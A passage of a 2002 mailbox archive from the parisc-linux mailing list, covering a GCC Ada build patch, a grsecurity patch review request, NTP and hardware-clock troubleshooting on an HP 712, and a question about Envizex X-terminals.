	for <DAVE@HIAULY1.HIA.NRC.CA>; Sun, 28 Apr 2002 16:44:10 -0400 (EDT)
Received: by nrcmrddc1.imsb.nrc.ca with Internet Mail Service (5.5.2653.19)
	id <JHXDSBQQ>; Sun, 28 Apr 2002 16:44:05 -0400
Received: from mail.enyo.de (cygnus-ext.enyo.de [212.9.189.162]) by nrcmrdbh1.imsb.nrc.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id JT1Y1AT2; Sun, 28 Apr 2002 16:44:03 -0400
Received: from [212.9.189.171] (helo=deneb.enyo.de)
	by mail.enyo.de with esmtp (Exim 3.34 #2)
	id 171vWf-0001yK-00; Sun, 28 Apr 2002 22:44:05 +0200
Received: from fw by deneb.enyo.de with local (Exim 3.34 #4)
	id 171vWc-0005rb-00; Sun, 28 Apr 2002 22:44:02 +0200
Message-ID: <87adrnmu3x.fsf@deneb.enyo.de>
From: Florian Weimer <fw@deneb.enyo.de>
To: John David Anglin <dave@HIAULY1.HIA.NRC.CA>
Cc: dave.anglin@nrc.ca, gcc-gnats@gcc.gnu.org
Subject: Re: ada/6495: no entities of "Os_Primitives" are referenced
Date: Sun, 28 Apr 2002 16:44:02 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Status: RO

"John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:

>> dave.anglin@nrc.ca writes:
>> 
>> > s-taprop.adb:48:12: warning: no entities of "Os_Primitives" are
referenced
>> 
>> Could you please look at the file s-taprop.adb in the gcc/ada/rts and
>> check which version it is?  After the copyright string, there should
>> be a comment like this one:
>> 
>> --  This is a POSIX-like version of this package
>
> Says
>
> --  This is a no tasking version of this package

Thanks.  Could you try the following patch, please?

--- 5ntaprop.adb.~1.3.~	Sun Mar 17 09:08:21 2002
+++ 5ntaprop.adb	Sun Apr 28 22:42:59 2002
@@ -45,9 +45,6 @@
 --  used for Ada_Task_Control_Block
 --           Task_ID
 
-with System.OS_Primitives;
---  used for Delay_Modes

From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sun, 5 May 2002 18:35:32 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <15573.24404.223525.294611__41081.3592993238$1416621276$gmane$org@gargle.gargle.HOWL>
References: <15573.10385.229145.132477@gargle.gargle.HOWL>
	<200205051545.g45Fj6CZ026798@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621276 7024 80.91.229.3 (22 Nov 2014 01:54:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  5 10:52:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DB76486A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 May 2002 10:52:24 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id SAA00820;
	Sun, 5 May 2002 18:35:37 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id g45GZWP07759;
	Sun, 5 May 2002 18:35:32 +0200 (MEST)
In-Reply-To: <200205051545.g45Fj6CZ026798@hiauly1.hia.nrc.ca>
X-Mailer: VM 7.03 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14716

John David Anglin writes:
> Thanks.  Could you try the following patch, please?

yes, allows the bootstrap.

> --- 5ntaprop.adb.~1.3.~	Sun Mar 17 09:08:21 2002
> +++ 5ntaprop.adb	Sun Apr 28 22:42:59 2002
> @@ -45,9 +45,6 @@
>  --  used for Ada_Task_Control_Block
>  --           Task_ID
>  
> -with System.OS_Primitives;
> ---  used for Delay_Modes
> -
>  with System.Error_Reporting;
>  --  used for Shutdown
>  
> @@ -55,7 +52,6 @@
>  
>     use System.Tasking;
>     use System.Parameters;
> -   use System.OS_Primitives;
>  
>     -----------------
>     -- Stack_Guard --
> 



From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sun, 05 May 2002 16:32:37 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020505223237.A885E4835__33229.9820882783$1416621276$gmane$org@dsl2.external.hp.com>
References: <15571.50195.280071.792305@gargle.gargle.HOWL> <200205041747.g44Hlc70026886@hiauly1.hia.nrc.ca>  <15573.10385.229145.132477@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621276 7028 80.91.229.3 (22 Nov 2014 01:54:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  5 16:32:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A885E4835; Sun,  5 May 2002 16:32:37 -0600 (MDT)
In-Reply-To: Message from Matthias Klose <doko@cs.tu-berlin.de> 
   of "Sun, 05 May 2002 14:41:53 +0200." <15573.10385.229145.132477@gargle.gargle.HOWL> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14717

Matthias Klose wrote:
> Sm9obiBEYXZpZCBBbmdsaW4gd3JpdGVzOg0KPiA+IFdoaWxlIHByZXBhcmluZyBnY2MtMy4x
> IHBhY2thZ2VzIEkgbm90aWNlZCBtYW55IGVoLXJlbGF0ZWQgcmVncmVzc2lvbnMNCj4gPiBm
...

Matthias (and others),
base64 encoded email doesn't archive well:
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016205.html

Please avoid if you can.

thanks,
grant



From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] grsecurity patch 2.4.18
Date: Sun, 05 May 2002 16:39:12 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20020505223913.010FD482A__6400.1114610166$1416621277$gmane$org@dsl2.external.hp.com>
References: <20020505112852.GA22017@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621277 7029 80.91.229.3 (22 Nov 2014 01:54:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  5 16:39:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 010FD482A; Sun,  5 May 2002 16:39:12 -0600 (MDT)
In-Reply-To: Message from Alexander Gabert <pappy@nikita.ath.cx> 
   of "Sun, 05 May 2002 13:28:53 +0200." <20020505112852.GA22017@nikita.ath.cx> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14718

Alexander Gabert wrote:
> hi, could someone please take a look at the following patch:
> 
> http://nikita.ath.cx/users/pappy/parisc/grsec/2418grsec.patch

Uhm, I was going to take a "quick look" and noticed:
	Length: 1,619,914 [text/plain]

Before I spend half a day looking at this, can you point to more
information that summarizes the changes?

thanks,
grant

ps I'm impressed that a "beginner" would take a whack at this.



From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NTP and the real time clock
Date: Mon, 6 May 2002 08:44:02 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20020506064402.GD14146@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621277 7033 80.91.229.3 (22 Nov 2014 01:54:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  6 00:44:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B965482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 00:44:04 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 6B36C15C032
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 08:44:02 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 39B59633A8; Mon,  6 May 2002 08:44:02 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.99i
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14719

Whenever I turn off my 712/80 and turn it back on, NTP (ntpq) reports
an offset of about 1200.
Question: Could it be that at shutdown the time is not stored in the
on-board real-time-clock?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Gates' Law: Every 18 months, the speed of software halves.




From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NTP and the real time clock
Date: Mon, 6 May 2002 08:52:14 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20020506065214.GE14146@charite.de>
References: <20020506064402.GD14146@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621277 7038 80.91.229.3 (22 Nov 2014 01:54:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  6 00:52:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56FA5482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 00:52:16 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 0B5EA15C032; Mon,  6 May 2002 08:52:15 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id EE431633B2; Mon,  6 May 2002 08:52:14 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020506064402.GD14146@charite.de>
User-Agent: Mutt/1.3.99i
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14720

Am 06.05.2002 um 08:44:02 +0200 schrieb Ralf Hildebrandt folgendes:
> Whenever I turn off my 712/80 and turn it back on, NTP (ntpq) reports
> an offset of about 1200.
> Question: Could it be that at shutdown the time is not stored in the
> on-board real-time-clock?

I find this intriguing:

gecko:~# hwclock --show
Mon May  6 08:46:27 2002  -0.994167 seconds
gecko:~# hwclock --systohc
gecko:~# hwclock --show
Mon May  6 08:46:33 2002  -0.999854 seconds

So the hardwareclock is never set.
Which setting in "Character Devices" do I need so hwclock can access
the on-board real-time-clock?
 < > /dev/nvram support
 < > Enhanced Real Time Clock Support 

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
There are two ways to write error-free programs. Only the third one
works.




From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NTP and the real time clock
Date: Mon, 6 May 2002 09:52:35 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <OE23wyLx5GjxJOAzGlD00002868@hotmail.com>
References: <20020506064402.GD14146@charite.de> <20020506065214.GE14146@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621278 7041 80.91.229.3 (22 Nov 2014 01:54:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:38 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  6 01:57:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe23.law4.hotmail.com [216.33.148.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64779482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 01:57:29 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 6 May 2002 00:57:27 -0700
X-Originating-IP: [212.190.7.69]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 06 May 2002 07:57:27.0005 (UTC) FILETIME=[A9F950D0:01C1F4D3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14721

You'll need to set this option: CONFIG_GENRTC=y

----- Original Message -----
From: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
To: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, May 06, 2002 8:52 AM
Subject: Re: [parisc-linux] NTP and the real time clock


> Am 06.05.2002 um 08:44:02 +0200 schrieb Ralf Hildebrandt folgendes:
> > Whenever I turn off my 712/80 and turn it back on, NTP (ntpq) reports
> > an offset of about 1200.
> > Question: Could it be that at shutdown the time is not stored in the
> > on-board real-time-clock?
>
> I find this intriguing:
>
> gecko:~# hwclock --show
> Mon May  6 08:46:27 2002  -0.994167 seconds
> gecko:~# hwclock --systohc
> gecko:~# hwclock --show
> Mon May  6 08:46:33 2002  -0.999854 seconds
>
> So the hardwareclock is never set.
> Which setting in "Character Devices" do I need so hwclock can access
> the on-board real-time-clock?
>  < > /dev/nvram support
>  < > Enhanced Real Time Clock Support
>
> --
> Ralf Hildebrandt (Im Auftrag des Referat V A)
Ralf.Hildebrandt@charite.de
> Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450
570-155
> Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450
570-916
> There are two ways to write error-free programs. Only the third one
> works.
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] old hardware
Date: Mon, 6 May 2002 10:28:46 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F8815422C2@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621278 7043 80.91.229.3 (22 Nov 2014 01:54:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Helge Deller'" <helge.deller@sap.com>,
	"Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>,
	"'Helge Deller'" <deller@gmx.de>, Ralf.Hildebrandt@charite.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  6 02:29:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bt0g2p.god.bel.alcatel.be (alc250.alcatel.be [195.207.101.250])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4887482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 02:29:13 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (relay3 [127.0.0.1])
	by bt0g2p.god.bel.alcatel.be (8.11.0/8.11.4) with ESMTP id g468R1320775;
	Mon, 6 May 2002 10:27:02 +0200
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2653.19)
	id <JBLJ6F9S>; Mon, 6 May 2002 10:28:47 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14722

Hi,

The 700/RX might be a simple X-terminal,
But Envizex-II can run (some simple) application locally.
It is some time ago, but i remember that I could launch remote shells on a
Envizex. (get/set config, ps and floppy operations)
I hoped that (someday) they could boot linux from flash...

Hans

	-----Original Message-----
	From:	Helge Deller [SMTP:helge.deller@sap.com]
	Sent:	Friday, May 03, 2002 12:46 PM
	To:	Witvliet, Hans; 'Helge Deller'; Ralf.Hildebrandt@charite.de
	Cc:	parisc-linux@lists.parisc-linux.org
	Subject:	Re: [parisc-linux] old hardware

	On Friday 03 May 2002 08:46, Witvliet, Hans wrote:
	> Just curious,
	>
	> The link http://www.ductape.net/~brianm/xterm/
	> <http://www.ductape.net/~brianm/xterm/> , tells how to use enware
on
	> Envizex X-terminals.
	> Can't the run hp-linux?
	>
	> Hans

	No. 
	Envizex and 700/RX are just simple X11 terminals
	and the only thing they run is a X11 server to display 
	X apps coming from an X server. The X server on the other side
	could be a PA-Linux or any other Unix/Linux machine.

	Greetings,
	Helge



From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NTP and the real time clock
Date: Mon, 6 May 2002 01:03:29 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20020506080328.GA30370@tausq.org>
References: <20020506064402.GD14146@charite.de> <20020506065214.GE14146@charite.de>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621278 7047 80.91.229.3 (22 Nov 2014 01:54:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  6 04:29:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (unknown [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FEC2482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 May 2002 04:29:21 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id btkdnaaa for parisc-linux@lists.parisc-linux.org; Mon, 6 May 2002 03:27:58 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 13CC2CD2F2; Mon,  6 May 2002 01:03:29 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020506065214.GE14146@charite.de>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14723

> I find this intriguing:
> 
> gecko:~# hwclock --show
> Mon May  6 08:46:27 2002  -0.994167 seconds
> gecko:~# hwclock --systohc
> gecko:~# hwclock --show
> Mon May  6 08:46:33 2002  -0.999854 seconds
> 
> So the hardwareclock is never set.

Are you sure?

legolas:/usr/src/linux-ide# hwclock --show
Mon May  6 00:05:08 2002  -0.995996 seconds
